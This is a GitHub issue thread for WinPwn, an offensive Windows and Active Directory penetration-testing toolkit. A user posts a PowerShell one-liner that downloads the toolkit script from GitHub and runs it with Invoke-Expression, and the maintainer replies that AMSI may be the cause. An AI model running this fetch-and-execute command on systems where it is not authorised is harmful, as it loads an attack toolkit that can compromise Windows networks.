S3cur3Th1sSh1t / WinPwn

Automation for internal Windows Penetrationtest / AD-Security
BSD 3-Clause "New" or "Revised" License
3.36k stars 521 forks source link

CAN'T INVOKE EXPRESSION IN FUNCTION WINPWN. #20

Closed Krip4us closed 3 years ago

Krip4us commented 3 years ago

to run and download correctly all the script please type:

iex (new-object net.webclient).downloadstring("https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/master/WinPwn.ps1"); (Invoke-WebRequest -Uri "https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/master/WinPwn.ps1" -UseBasicParsing | select content) | ForEach-Object{ if ((Get-ExecutionPolicy) -eq 'RemoteSigned') { $_.content | Out-File "$env:TMP/WinPwn.ps1"; cd $env:TMP; Invoke-Expression "$env:TMP/WinPwn.ps1"; WinPwn } }

S3cur3Th1sSh1t commented 3 years ago

I don't see any question, error message or screenshots. Maybe it's AMSI, maybe something else. :mag: Some more information please :+1:

S3cur3Th1sSh1t commented 3 years ago

Seams like a low priority problem.